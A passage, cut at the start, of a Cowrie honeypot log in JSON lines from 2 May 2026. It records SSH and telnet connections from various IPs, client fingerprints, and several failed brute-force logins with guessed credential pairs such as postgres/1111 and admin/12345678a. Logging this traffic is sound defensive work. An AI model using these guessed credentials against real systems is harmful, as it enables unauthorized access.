56-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:06.665150Z","src_ip":"34.135.200.178","session":"8159c68ab86a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1111","message":"login attempt [postgres/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:06.844847Z","src_ip":"34.135.200.178","session":"8159c68ab86a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:07.886540Z","src_ip":"34.135.200.178","session":"8159c68ab86a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.766839027404785,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:09.162513Z","src_ip":"134.209.8.29","session":"a218aa81e278","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":46840,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd9fc132302d","protocol":"ssh","message":"New connection: 205.254.166.101:46840 (159.203.135.109:22) [session: cd9fc132302d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:12.749649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:12.754605Z","src_ip":"205.254.166.101","session":"cd9fc132302d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:12.963257Z","src_ip":"205.254.166.101","session":"cd9fc132302d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"benjamin","password":"test","message":"login attempt [benjamin/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:13.827876Z","src_ip":"205.254.166.101","session":"cd9fc132302d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:15.043893Z","src_ip":"205.254.166.101","session":"cd9fc132302d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46962,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6202fdf047e","protocol":"telnet","message":"New connection: 38.54.119.93:46962 (10.17.0.5:23) [session: c6202fdf047e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:16.620787Z"}
{"eventid":"cowrie.session.closed","duration":5.559183597564697,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:22.179858Z","src_ip":"38.54.119.93","session":"c6202fdf047e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":38906,"dst_ip":"10.17.0.5","dst_port":22,"session":"55cf4b79c861","protocol":"ssh","message":"New connection: 150.95.157.171:38906 (10.17.0.5:22) [session: 55cf4b79c861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:25.560628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:25.570079Z","src_ip":"150.95.157.171","session":"55cf4b79c861","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:25.736951Z","src_ip":"150.95.157.171","session":"55cf4b79c861","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55384,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebea0275569c","protocol":"telnet","message":"New connection: 134.209.8.29:55384 (159.203.135.109:23) [session: ebea0275569c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:25.795687Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345678a","message":"login attempt [admin/12345678a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:26.415489Z","src_ip":"150.95.157.171","session":"55cf4b79c861","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:27.587323Z","src_ip":"150.95.157.171","session":"55cf4b79c861","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.27080726623535,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:29.318287Z","src_ip":"134.209.8.29","session":"fafea226ed57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55396,"dst_ip":"159.203.135.109","dst_port":23,"session":"67a6a632812e","protocol":"telnet","message":"New connection: 134.209.8.29:55396 (159.203.135.109:23) [session: 67a6a632812e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:29.933772Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":47036,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd33aded4541","protocol":"telnet","message":"New connection: 194.233.64.34:47036 (159.203.135.109:23) [session: dd33aded4541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:33.661456Z"}
{"eventid":"cowrie.session.closed","duration":43.2641441822052,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:36.644769Z","src_ip":"134.209.8.29","session":"b58f26acd23d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":52534,"dst_ip":"10.17.0.5","dst_port":22,"session":"0541ebc9dd9e","protocol":"ssh","message":"New connection: 147.50.231.135:52534 (10.17.0.5:22) [session: 0541ebc9dd9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:51.615299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:51.620492Z","src_ip":"147.50.231.135","session":"0541ebc9dd9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:51.887278Z","src_ip":"147.50.231.135","session":"0541ebc9dd9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"555555555","message":"login attempt [ubuntu/555555555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:52.965110Z","src_ip":"147.50.231.135","session":"0541ebc9dd9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:54.237941Z","src_ip":"147.50.231.135","session":"0541ebc9dd9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.91796565055847,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:54.986453Z","src_ip":"134.209.8.29","session":"c45a8ab86c91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58846,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f65399d3926","protocol":"telnet","message":"New connection: 134.209.8.29:58846 (159.203.135.109:23) [session: 9f65399d3926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:55.307948Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46686,"dst_ip":"10.17.0.5","dst_port":23,"session":"67780bb5309b","protocol":"telnet","message":"New connection: 38.54.119.93:46686 (10.17.0.5:23) [session: 67780bb5309b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:56.585748Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58862,"dst_ip":"159.203.135.109","dst_port":23,"session":"75093d2df524","protocol":"telnet","message":"New connection: 134.209.8.29:58862 (159.203.135.109:23) [session: 75093d2df524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:57.446372Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58874,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9ce5e5806ae","protocol":"telnet","message":"New connection: 134.209.8.29:58874 (159.203.135.109:23) [session: d9ce5e5806ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:59.046443Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58888,"dst_ip":"159.203.135.109","dst_port":23,"session":"200fd7784997","protocol":"telnet","message":"New connection: 134.209.8.29:58888 (159.203.135.109:23) [session: 200fd7784997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:59.059170Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58872,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c7a15964c0f","protocol":"telnet","message":"New connection: 134.209.8.29:58872 (159.203.135.109:23) [session: 4c7a15964c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:30:59.883380Z"}
{"eventid":"cowrie.session.closed","duration":4.014649391174316,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:00.600253Z","src_ip":"38.54.119.93","session":"67780bb5309b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.868935823440552,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:01.176758Z","src_ip":"134.209.8.29","session":"9f65399d3926","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50170,"dst_ip":"10.17.0.5","dst_port":23,"session":"f45674f702f7","protocol":"telnet","message":"New connection: 38.54.119.93:50170 (10.17.0.5:23) [session: f45674f702f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:01.708371Z"}
{"eventid":"cowrie.session.closed","duration":31.02017879486084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:04.681520Z","src_ip":"194.233.64.34","session":"dd33aded4541","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56626,"dst_ip":"10.17.0.5","dst_port":23,"session":"e250db842d09","protocol":"telnet","message":"New connection: 38.54.119.93:56626 (10.17.0.5:23) [session: e250db842d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:10.469118Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34150,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dd740ad22b6","protocol":"telnet","message":"New connection: 134.209.8.29:34150 (159.203.135.109:23) [session: 7dd740ad22b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:14.260471Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60818,"dst_ip":"10.17.0.5","dst_port":23,"session":"abaae7385f2c","protocol":"telnet","message":"New connection: 38.54.119.93:60818 (10.17.0.5:23) [session: abaae7385f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:16.775330Z"}
{"eventid":"cowrie.session.closed","duration":6.580249309539795,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:17.049223Z","src_ip":"38.54.119.93","session":"e250db842d09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.28275418281555,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:22.078304Z","src_ip":"134.209.8.29","session":"ebea0275569c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.86829423904419,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:23.801829Z","src_ip":"134.209.8.29","session":"67a6a632812e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":8337,"dst_ip":"159.203.135.109","dst_port":22,"session":"dca151bc550f","protocol":"ssh","message":"New connection: 205.254.166.101:8337 (159.203.135.109:22) [session: dca151bc550f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:24.562095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:24.566350Z","src_ip":"205.254.166.101","session":"dca151bc550f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:24.773539Z","src_ip":"205.254.166.101","session":"dca151bc550f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.733574628829956,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:24.993926Z","src_ip":"134.209.8.29","session":"7dd740ad22b6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"git","password":"git@2023","message":"login attempt [git/git@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:25.631021Z","src_ip":"205.254.166.101","session":"dca151bc550f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":56190,"dst_ip":"10.17.0.5","dst_port":22,"session":"adad8aba650c","protocol":"ssh","message":"New connection: 150.95.157.171:56190 (10.17.0.5:22) [session: adad8aba650c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:25.919314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:25.923421Z","src_ip":"150.95.157.171","session":"adad8aba650c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:26.081545Z","src_ip":"150.95.157.171","session":"adad8aba650c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33296,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ddd57b68be7","protocol":"telnet","message":"New connection: 134.209.8.29:33296 (159.203.135.109:23) [session: 4ddd57b68be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:26.157179Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test1234","message":"login attempt [ubuntu/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:26.761601Z","src_ip":"150.95.157.171","session":"adad8aba650c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:26.840452Z","src_ip":"205.254.166.101","session":"dca151bc550f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:27.930996Z","src_ip":"150.95.157.171","session":"adad8aba650c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45336,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d09e4e74740","protocol":"telnet","message":"New connection: 38.54.119.93:45336 (10.17.0.5:23) [session: 2d09e4e74740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:33.865083Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":47408,"dst_ip":"159.203.135.109","dst_port":23,"session":"080f84bb3bdb","protocol":"telnet","message":"New connection: 194.233.64.34:47408 (159.203.135.109:23) [session: 080f84bb3bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:31:35.081611Z"}
